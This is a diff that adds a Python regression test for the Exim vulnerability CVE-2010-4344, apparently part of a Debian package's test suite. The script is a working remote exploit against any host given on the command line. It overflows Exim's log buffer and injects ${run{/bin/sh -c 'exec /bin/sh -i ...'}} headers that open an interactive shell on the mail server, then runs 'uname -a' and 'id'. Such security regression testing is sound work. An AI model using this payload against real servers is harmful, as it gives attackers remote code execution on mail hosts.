diff options
Diffstat (limited to 'debian/tests/CVE-2010-4344.py')
-rw-r--r-- | debian/tests/CVE-2010-4344.py | 143 |
1 files changed, 143 insertions, 0 deletions
diff --git a/debian/tests/CVE-2010-4344.py b/debian/tests/CVE-2010-4344.py new file mode 100644 index 0000000..1158326 --- /dev/null +++ b/debian/tests/CVE-2010-4344.py @@ -0,0 +1,143 @@ +#!/usr/bin/env python +# Copyright 2010, Canonical, Ltd. +# Author: Kees Cook <kees@ubuntu.com> +# License: GPLv2 + +import socket, sys + +HOST = sys.argv[1] +PORT = 25 + +try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +except socket.error, msg: + sys.stderr.write("[ERROR] %s\n" % msg[1]) + sys.exit(1) + +try: + sock.settimeout(10) + sock.connect((HOST, PORT)) +except socket.error, msg: + sys.stderr.write("[ERROR] %s\n" % msg[1]) + sys.exit(2) + +def want(value, cmd=None): + if cmd != None: + sys.stdout.write("%s\n" % (cmd)) + sock.send("%s\n" % (cmd)) + data = sock.recv(1024) + sys.stdout.write(data) + final = data.splitlines().pop() + if not final.startswith('%d ' % (value)): + sys.stdout.write("*** Got '%s', wanted '%d' ***\n" % (final, value)) + sys.exit(5) + return data + +mail_from = '<root@localhost>' +rcpt_to = '<postmaster@localhost>' +helo = 'example.com' + +want(220) +data = want(250, "EHLO %s" % (helo)) +ident = data.splitlines()[0].split() +# Extract DNS details from helo response +sending_host = '%s (%s) %s' % (ident[2], helo, ident[3]) + +want(250, "MAIL FROM:%s" % (mail_from)) +want(250, "RCPT TO:%s" % (rcpt_to)) +want(354, "DATA") + +# want to fill up to LOG_BUFFER_SIZE - 3 (%c %s) == 8192 - 3 == 8189 +# and minus the logging header... +target = 8189 +sent = len('''2010-12-10 11:48:15 1PR8wt-00063W-Sb rejected from %s H=%s: message too big: read=72108293 max=52428800 +Envelope-from: %s +Envelope-to: %s +''' % (mail_from, sending_host, mail_from, rcpt_to)) +send = target - sent +count = 0 +padding = 3 # because of logging's " " prefix and "\n" suffix +taunt = 'M4iLB0mb' +header = 'MAILbombhdr%04d: ' +chunksize = len(header) + 120 +amount = send +while amount > chunksize: + prev = amount + amount /= 2 +chunksize = prev +chunksize = 100 +#print "Chunk size: %d" % (chunksize) + +#print "hit enter to continue" +#sys.stdin.readline() + +while send > 0: + count += 1 + #print "At position %d (%d to go)" % (sent, send) + data = header % (count) + perline = chunksize - padding + data += taunt * chunksize + + # Down-regulate + togo = send - padding + if togo > perline: + togo = perline + # Fill hole for easier forward calculations + left = sent % 100 + if left != 0: + left = 100 - left + if left < len(header) + (padding * 2): + left += 100 + togo = left - padding + data = data[0:togo] + + sock.send('%s\n' % (data)) + send -= len(data) + padding + sent += len(data) + padding + #print "(header %d) Wrote %d, consumed %d, at position %d (%d to go)" % (count, len(data), len(data) + padding, sent, send) + +# This header will expand past the logging buffer +sys.stdout.write("Sending exploit header\n") +sock.send('HeaderX: ') +for j in range(50): + for i in range(3, 13): + sock.send("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}}" % i) +sock.send("\n"); + +# Now trigger the "message too large" handler +sys.stdout.write("Sending body to trigger reject\n") +sock.send("\n"); +for i in range(700000): + sock.send(taunt * 10 + "\n") +sock.send(".\n") + +want(552) +sock.settimeout(1) +trigger = "MAIL FROM:%s\n" % (mail_from) +sys.stdout.write(trigger) +sock.send(trigger) + +final = "" +shell = False +hit = False +while True: + try: + data = sock.recv(1024) + except: + break + sys.stdout.write(data) + sys.stdout.flush() + final += data + if '/bin/sh' in final: + shell = True + if shell and not hit: + sock.send("uname -a\n") + sock.send("id\n") + hit = True + +sock.close() +if shell: + print "\nSystem is vulnerable" + sys.exit(1) +print "\nSystem appears safe" +sys.exit(0) |